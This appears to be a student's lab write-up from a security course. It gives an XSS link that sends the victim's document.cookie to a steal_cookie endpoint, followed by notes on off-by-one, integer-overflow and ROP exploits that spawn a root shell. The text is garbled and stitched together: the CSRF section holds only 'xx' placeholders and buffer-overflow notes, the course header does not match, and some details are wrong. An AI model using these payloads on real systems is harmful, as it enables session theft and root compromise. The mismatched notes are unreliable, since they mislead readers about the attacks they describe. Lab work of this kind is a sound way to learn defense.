

Project 2: Web Attacks & Defenses

Julian Cooper

AA228/CS238, Stanford University

JELC@STANFORD.EDU

1. Cookie Theft

Idea: Attacker has access to some part of the BitBar user profile webpage and wants to insert a link to url that steals the user's cookie, but otherwise appears to just refresh the page.

Exploit: We need to specify the url that our user would click to execute the cookie theft.

```
http://localhost:3000/profile?username=<p hidden><script>
  var xhr = new XMLHttpRequest();
  var url = 'http://localhost:3000/steal_cookie?cookie=%2B document.cookie;
  xhr.open("GET", url);
  xhr.send();
</script>
```

Working notes:

- Recognize we can insert `http://localhost:3000/profile?username=<valid user>` and switch between user profiles after logged in. If the username given is invalid, it produces an error message that we want to avoid. We do this by passing `<p hidden>` (without closing html tag) to hide the long script we are passing to the username field.
- Open a GET request to the `localhost:3000` url and pass `steal_cookie` key with cookie information from the DOM included as the value. Note, we will need to pass the bulk of the url as a string, except the `document.cookie` function call which we can concatenate with "
- Declare two the two variables we need to execute this: `xhr` (our `HttpRequest()` variable) and `url` to send request to.
- Finally, send our GET request to the url we have specified. We should see the session cookie printed in plaintext from the network terminal.

2. Corss-Site Request Forgery

Idea: Attacker builds a website wants to build a malicious website which (when visited) steals some Bitbar from another user. After the theft, the user is redirected to `https://cs155.stanford.edu`.

Exploit: xx

xx

Working notes:

- Using gdb we can find address of the input variable in the foo stack frame, 0x7ffffffeb08. We then can find the address of the previous rbp in the foo stack frame, 0x7ffffffeb10.
- The difference of these two addresses is 0x08 (8 bytes), which makes sense, this is just the memory allocated for our base pointer address.
- Idea: want to overwrite the last byte of the previous rbp address with 0x00 (replaces 0x10), which will shift the rbp down by 16 bytes (since we are in base 16) and cause our program to use the address of our input variable as the return address and execute whatever code is stored in that memory location.
- Similarly to exploit 1, we can then just copy our shell code into the input variable (without the terminating null pointer to avoid early exit) and execute it.
- Note, our shellcode is only 23 bytes and so written to the bottom of our input variable (exploit). Since our exploit needs to be 129 bytes long, we fill the rest with the character 'U' (easily identifiable) and then overwrite the last byte (overflow) with 0x00 as explained above.

3. Integer Overflow

Vulnerability: Want to exploit `count = (long)strtoul(input, &in, 10);` which recasts an unsigned long to a signed long. This allows us to pass in an integer value that will be within the bounds of an unsigned long but overflow the signed long it is cast to and present therefore present as a negative value during `memcpy()` bounds check.

Exploit: Having passed the `memcpy()` bounds check, we can perform a similar exploit to q1 where we overwrite the return address of `foo` with the address of our shellcode, then execute the shellcode to get a root shell.

Working notes:

- Using gdb we can find address of the buffer variable, 0x7ffffffe8f48. We then can find the address of the return address, 0x7ffffffed10.
- The difference of these two addresses is 24,000, which is the number of bytes we need to overwrite to get to the return address. Note, we need to add 8 bytes to this to account for the saved return address.
- To solve for count string to pass at the top of our exploit, we need to meet three conditions: (a) overflow the signed long, (b) be within the bounds of an unsigned long, and (c) solve for x such that $24x = 24024 \pmod{2^{64}}$. The first two conditions guarantee we pass the bounds check. The third condition ensures our exploit is large enough to overwrite the return address.
- We used a solver to find x such that $24x = 24024 \pmod{2^{64}}$. This gives us $x = 2,305,843,009,213,693,952n + 1,001$. We then solve for n such that $2^{63} < x < 2^{64}$ and

find n can be 4, 5, 6, 7 or 8. We set $n = 4$ and use the resulting value and trailing comma ("9223372036854776809,") as our count string.

- Copy count string followed by our shellcode (without terminating null pointer) into our buffer exploit, and perform string surgery to ensure `retrun` address points back to beginning of our overwritten local `buf` variable.

4. Off-by-One with Exit

Vulnerability: Want to exploit improper for loop construction which writes 129 bytes to a 128 byte static array. However, unlike for exploit 2, our `foo` function exits before returning to `main`. Because of this, we need to be more creative to exploit this vulnerability.

Exploit: We can overwrite the last byte of "previous base pointer" address which sits right above our `char buf` local variable in the `bar` stack frame. We use this to shift the `rbp` of `foo` up into `main`'s stack frame somewhere in the middle of our `char input` local variable which we control. Our program now thinks the address just below our shifted `foo` `rbp` are `p` and `a`. We fill `p` with the address of our `_exit(0)` call and `a` with our shellcode. This means that on line 29 of our `target.c` file, where we assign address of `p` to be the value of `a`, we end up executing our shell code.

Working notes:

- Using `gdb` we can find address of the input variable in the `main` stack frame, `0x7ffffffd40`. We then can find the address of the previous `rbp` in the `foo` stack frame, `0x7ffffffd20`. The difference of these two addresses is `0x20` (32 bytes).
- Idea: want to overwrite the last byte of the previous `rbp` address with `0x67` (replaces `0x20`), which will shift the `rbp` down up by 71 bytes (since we are in base 16). This will cause our program to use an address in the middle of our input variable from the `main` stack frame as the `foo` `rbp`. Note, $71 = 31 \text{ bytes to input} + 23 \text{ bytes for shellcode} + 8 \text{ bytes for a} + 8 \text{ bytes for p}$.
- Similarly to previous exploits, we copy our shell code into the input variable (without the terminating null pointer to avoid early exit). However, in addition we now need to include addresses for `a` (pointing to shellcode start) and `p` (pointing to exit call address) in our exploit.

5. Return-Oriented Programming

Vulnerability: Want to exploit `memcpy` being called without bounds checking. This allows us to overflow the buffer, however, we need to handle the added complexity that we can no longer execute arbitrary code on our stack as for previous exploits.

Exploit: Our exploit involves daisy-chaining together a series of "gadgets" which are addresses in memory that contain instructions (from valid executable addresses) to execute the steps needed to launch a shell as root. This is called Return Oriented Programming, or

ROP. To implement a ROP exploit for this vulnerability, we need to first overwrite `foo`'s return address with the address of `get_shell` function located in the target code. Then place the addresses of three gadgets from the source code in the `buf[]` following the shell string. This is possible because `target5.c` does not check the length of our input before `memcpy()`'ing it into `out[]`.

The three gadgets are:

- `MOV %rdi, %rax` (address: `0x4021ab`). Passes `foo()`'s return value as first param to `execve()`.
- `XOR %edx, %edx` (address: `0x40452f`). By xor'ing `edx` with itself, this zeroes out `%edx`.
- `MOV 59, %eax` followed by a `syscall` (address: `0x4b2f24`). This does `execve()`, since that's `syscall` number 59.

The first two gadgets set the `%rdi` and `%edx` register to the right values and the third calls `execve()`. The result is that the `syscall` becomes: `execve("/bin/shell", 0, 0)`.

Open questions

-
- Why does `MOV` place 59 into `%eax`? Documentation suggests `MOV` should place its second arg into the address of the first arg.
- Why does it keep returning and executing up in the buffer? i.e. why does it work without any `EBP` manipulation?
- Why can't we find the gadgets at above addresses in `gadgets.txt`? Does the `find-gadgets.py` program not find all gadgets?